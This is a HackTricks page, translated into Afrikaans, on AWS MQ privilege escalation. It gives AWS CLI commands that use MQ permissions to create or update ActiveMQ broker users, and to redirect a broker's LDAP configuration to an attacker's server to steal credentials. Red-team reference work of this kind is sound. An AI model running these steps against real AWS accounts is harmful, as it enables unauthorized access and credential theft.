AWS - MQ Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.

MQ

Vir meer inligting oor MQ, kyk:

AWS - MQ Enum

mq:ListBrokers, mq:CreateUser

Met hierdie toestemmings kan jy 'n nuwe gebruiker skep in 'n ActimeMQ-makelaar (dit werk nie in RabbitMQ nie):

aws mq list-brokers
aws mq create-user --broker-id <value> --console-access --password <value> --username <value>

Potensiële Impak: Toegang tot sensitiewe inligting deur te navigeer deur ActiveMQ

mq:ListBrokers, mq:ListUsers, mq:UpdateUser

Met hierdie toestemmings kan jy 'n nuwe gebruiker skep in 'n ActimeMQ makelaar (dit werk nie in RabbitMQ nie):

aws mq list-brokers
aws mq list-users --broker-id <value>
aws mq update-user --broker-id <value> --console-access --password <value> --username <value>

Potensiële Impak: Toegang tot sensitiewe inligting deur te navigeer deur ActiveMQ

mq:ListBrokers, mq:UpdateBroker

As 'n makelaar LDAP gebruik vir outorisasie met ActiveMQ, is dit moontlik om die konfigurasie van die LDAP-bediener te verander na een wat deur die aanvaller beheer word. Op hierdie manier sal die aanvaller in staat wees om alle geloofsbriewe wat deur LDAP gestuur word, te steel.

aws mq list-brokers
aws mq update-broker --broker-id <value> --ldap-server-metadata=...

As jy op een of ander manier die oorspronklike geloofsbriewe wat deur ActiveMQ gebruik word, kon vind, kon jy 'n MitM uitvoer, die geloofsbriewe steel, hulle in die oorspronklike bediener gebruik, en die antwoord stuur (miskien deur net die gesteelde geloofsbriewe te hergebruik).

Potensiële Impak: Steel ActiveMQ geloofsbriewe

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks in PDF aflaai, kyk na die SUBSCRIPTION PLANS!

• Kry die amptelike PEASS & HackTricks swag

• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.